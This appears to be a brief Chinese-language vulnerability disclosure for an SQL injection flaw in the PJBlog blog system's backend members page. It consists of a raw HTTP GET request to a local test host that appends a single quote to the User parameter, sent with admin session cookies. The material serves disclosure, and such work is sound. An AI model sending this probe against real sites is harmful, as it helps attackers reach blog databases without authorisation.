PJBlog博客系统后台c_members.asp页面User变量过滤不严导致SQL注入漏洞

GET /ConContent.asp?Fmenu=Members&Smenu=Users&User=lovemmm' HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */* Referer: http://127.0.0.1:103/control.asp Accept-Language: zh-cn UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727) Host: 127.0.0.1:103 Connection: Keep-Alive Cookie: .max=696A30AED2F66C44957D1DD822A8ED4B36EF0AE4A8F911ADDCAF0B008355C7D5D7597B31768A9DF245E14A8531ED9F70B052A8F4D8DB8091876E0348B8F7E6436A87400F5AD6E4620F62801E282766B481656BF8E87E5B53BC5B30DF2DDE6D48E49E4D84AAAE2A71696FA8E05EF08DB75208EE8776842AA29790426C0B1064D6; PJBlog3=memRight=111111111111&memHashKey=82c982f962699d83222439e1b0e4beba44c4336a&memName=admin; PJBlog3Setting=ViewType=normal; ASPSESSIONIDCCABSDDS=PBCLEGGCOMNKLPPKNBOLINGL; ASPSESSIONIDACBDSCCS=JKANBMHCGKFKGJFKNANKEJIG